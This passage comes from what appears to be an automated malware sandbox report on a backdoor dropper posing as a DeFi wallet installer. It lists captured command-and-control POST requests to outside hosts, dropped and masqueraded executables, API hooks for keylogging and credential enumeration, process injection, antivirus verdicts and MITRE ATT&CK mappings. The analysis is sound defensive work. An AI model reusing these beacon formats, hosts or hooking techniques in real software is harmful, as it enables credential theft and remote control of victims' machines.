(compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache" with payload::==> "jsessid=60d49d9801b43aba0001848a&cookie=6a62042a295d2351lJ3UYA==70d314aa45745b90" "POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache" with payload::==> "jsessid=60d49d9801b43aba0001d866&cookie=4bf3770f70e34e54lJ3UYA==1f890abc2ef4443d" "POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache" with payload::==> "jsessid=60d49d9801b43aba00011854&cookie=2fe67e3b68265817lJ3UYA==74035f9d05202b16" "POST /common/faq.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: www.gyro3d.com Content-Length: 80 Cache-Control: no-cache" with no payload "POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache" with payload::==> "jsessid=60d49d9801b43aba00010345&cookie=272e021c519968edlJ3UYA==5b32137c0d0b719e" "POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache" with payload::==> "jsessid=60d49d9801b43aba00014e69&cookie=6d0b7c845e6d7314lJ3UYA==4d3361433eb8397f" "POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache" with payload::==> "jsessid=60d49d9801b43aba000142d5&cookie=6d1e79b74a557c40lJ3UYA==2fac06df534e62f2" "POST /gallery/left.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: www.newbusantour.co.kr Content-Length: 80 Cache-Control: no-cache" with no payload30:Taf5,"libEGL.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\swiftshader\libEGL.dll]- [targetUID: 00000000-00003772] "System.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\System.dll]- [targetUID: 00000000-00003772] "StdUtils.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\StdUtils.dll]- [targetUID: 00000000-00003772] "elevate.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\resources\elevate.exe]- [targetUID: 00000000-00003772] "nsProcess.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\nsProcess.dll]- [targetUID: 00000000-00003772] "ffmpeg.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\ffmpeg.dll]- [targetUID: 00000000-00003772] "vk_swiftshader.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\vk_swiftshader.dll]- [targetUID: 00000000-00003772] "libGLESv2.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\swiftshader\libGLESv2.dll]- [targetUID: 00000000-00003772] "nsDialogs.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\nsDialogs.dll]- [targetUID: 00000000-00003772] "GoogleChrome.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows UPX compressed"- Location: [%ALLUSERSPROFILE%\Microsoft\GoogleChrome.exe]- [targetUID: 00000000-00002896] "nsis7z.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\nsis7z.dll]- [targetUID: 00000000-00003772] "UAC.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\UAC.dll]- [targetUID: 00000000-00003772] "d3dcompiler_47.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\d3dcompiler_47.dll]- [targetUID: 00000000-00003772] "Uninstall DeFi Wallet.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows Nullsoft Installer self-extracting archive"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\Uninstall DeFi Wallet.exe]- [targetUID: 00000000-00003772] "vulkan-1.dll" has type "PE32+ executable (DLL) (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\Programs\DeFi Wallet\vulkan-1.dll]- [targetUID: 00000000-00003772] "WinShell.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\nsd793A.tmp\WinShell.dll]- [targetUID: 00000000-00003772]31:Taf1,".exe" wrote 4096 bytes starting with PE header signature to file "C:\ProgramData\Microsoft\GoogleChrome.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... ".exe" wrote 4096 bytes starting with PE header signature to file "C:\ProgramData\Microsoft\CM202025.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... ".exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\StdUtils.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... ".exe" wrote 12288 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\System.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... ".exe" wrote 14848 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\UAC.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... ".exe" wrote 9728 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\nsDialogs.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... ".exe" wrote 4608 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\nsProcess.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...32:T432,"GoogleChrome.exe" opened "C:\ProgramData\Microsoft\CM202025.exe" with delete access ".exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsm7706.tmp" with delete access ".exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\app-64.7z" with delete access ".exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\modern-wizard.bmp" with delete access ".exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\nsDialogs.dll" with delete access ".exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\nsis7z.dll" with delete access ".exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\nsProcess.dll" with delete access ".exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\System.dll" with delete access ".exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\UAC.dll" with delete access ".exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsd793A.tmp\WinShell.dll" with delete access33:T68d,".exe" wrote bytes "e9785d5dfd" to virtual address "0x76E34713" ("GetAsyncKeyState@USER32.DLL") ".exe" wrote bytes "e9047e5dfd" to virtual address "0x76E32797" ("GetKeyState@USER32.DLL") ".exe" wrote bytes "711102017a3b0101ab8b02007f950200fc8c0200729602006cc805001ecdfe007d26fe00" to virtual address "0x76E207E4" (part of module "USER32.DLL") ".exe" wrote bytes "e9fa9ff9fc" to virtual address "0x77467671" ("CredEnumerateA@ADVAPI32.DLL") ".exe" wrote bytes "e96aa2f9fc" to virtual address "0x77467771" ("CredEnumerateW@ADVAPI32.DLL") ".exe" wrote bytes "e963625dfd" to virtual address "0x76E34458" ("GetForegroundWindow@USER32.DLL") ".exe" wrote bytes "e993c86afd" to virtual address "0x76D55F48" ("CreateCompatibleBitmap@GDI32.DLL") ".exe" wrote bytes "e97dd0fcfc" to virtual address "0x774340DE" ("AdjustTokenPrivileges@ADVAPI32.DLL") ".exe" wrote bytes "c0dfde771cf9dd77ccf8dd770d64df7700000000c011177700000000fc3e177700000000e01317770000000094578a7525e0de77c6e0de7700000000bc6a897500000000cf3117770000000093198a75000000002c32177700000000" to virtual address "0x756E1000" (part of module "NSI.DLL") ".exe" wrote bytes "b02bebb0b02cebacb02deba8b02eeba4b02feba0b030eb9c" to virtual address "0x03A31000" (part of module "STDOLE2.TLB") ".exe" wrote bytes "d055d6756473df750000000051c10b7794980b77ee9c0b7775dc0d77273e0d770fb311770000000085481777698717770f771977d9171777ead71877a9341777f8111777201417774cbc1977f516177754141777ff1017773214177700000000" to virtual address "0x74361000" (part of module "SHFOLDER.DLL")34:T40a,".exe" wrote 8 bytes to a remote process "%ALLUSERSPROFILE%\Microsoft\GoogleChrome.exe" (Handle: 88) ".exe" wrote 32 bytes to a remote process "%ALLUSERSPROFILE%\Microsoft\GoogleChrome.exe" (Handle: 88) ".exe" wrote 52 bytes to a remote process "%ALLUSERSPROFILE%\Microsoft\GoogleChrome.exe" (Handle: 88) ".exe" wrote 4 bytes to a remote process "%ALLUSERSPROFILE%\Microsoft\GoogleChrome.exe" (Handle: 88) "GoogleChrome.exe" wrote 32 bytes to a remote process "C:\0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.exe" (Handle: 192) "GoogleChrome.exe" wrote 52 bytes to a remote process "C:\0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.exe" (Handle: 192) "GoogleChrome.exe" wrote 4 bytes to a remote process "C:\0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.exe" (Handle: 192) "GoogleChrome.exe" wrote 8 bytes to a remote process "C:\0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.exe" (Handle: 192)1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790906379818,"unified_at":"2026-10-02T01:59:39.818Z","metadata":{"hashes":{"sha256":"0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f","sha1":"67c2a5f06ad78efbc1905728ff4b6d8643de2570","md5":"0b9f4612cdfe763b3d8c8a956157474a","sha512":"aa0730683e220956df08c82422cee92ac2b3ff9880e55c6fe500bda122ad518c7042c1a4a508c6d2becbc551575af5d6a534a1786cd5ce828af9e6fe2c26e46b","ssdeep":"Unknown","imphash":"Unknown"},"file_info":{"file_name":"0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f","file_type":["peexe","executable"],"file_type_id":"exe","file_size":78465024,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1666151078000,"last_seen":1713421655000,"last_multi_scan":1713421655000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["backdoor"]},"stats":{"av":{"malicious_count":5,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":33},"sandbox_signatures":{"informative_count":53,"suspicious_count":25,"malicious_count":7,"total":85},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Dropper/Win.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"HEUR/AGEN.1352994","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bkavpro":{"name":"Bkav Pro","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Generik.KRQHYDM trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"malicious","threat_name":"Trojan-DropAgent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TrojanDropper.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Generik.KRQHYDM trojan","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Imports GetCommandLine API"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Imports system security related APIs"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Allocates virtual memory in a remote process"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to enable or disable privileges in the specified access token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Privilege Escalation","technique":"Make and Impersonate Token","attack_id":"T1134.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/003","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file is packed with UPX"},{"type":"suspicious","value":"PE file has unusual entropy sections"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to query volume size"},{"type":"informative","value":"Contains ability to enumerates all mounted drives"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate processes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to query the machine version"},{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Imports GetEnvironmentVariable API"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Reads information about supported languages"},{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Scanning for window names"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Discovery","technique":"Peripheral Device Discovery","attack_id":"T1120","attack_id_wiki":"https://attack.mitre.org/techniques/T1120","identifiers":[{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Queries volume information"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query local/system time"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Calls an API possibly used to take screenshots"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Contains ability to download files from the internet"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"suspicious","value":"Contains key cryptographic functions of the CryptoAPI"},{"type":"informative","value":"Imports Crypto related APIs"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"malicious","value":"Contains ability to reboot/shutdown the operating 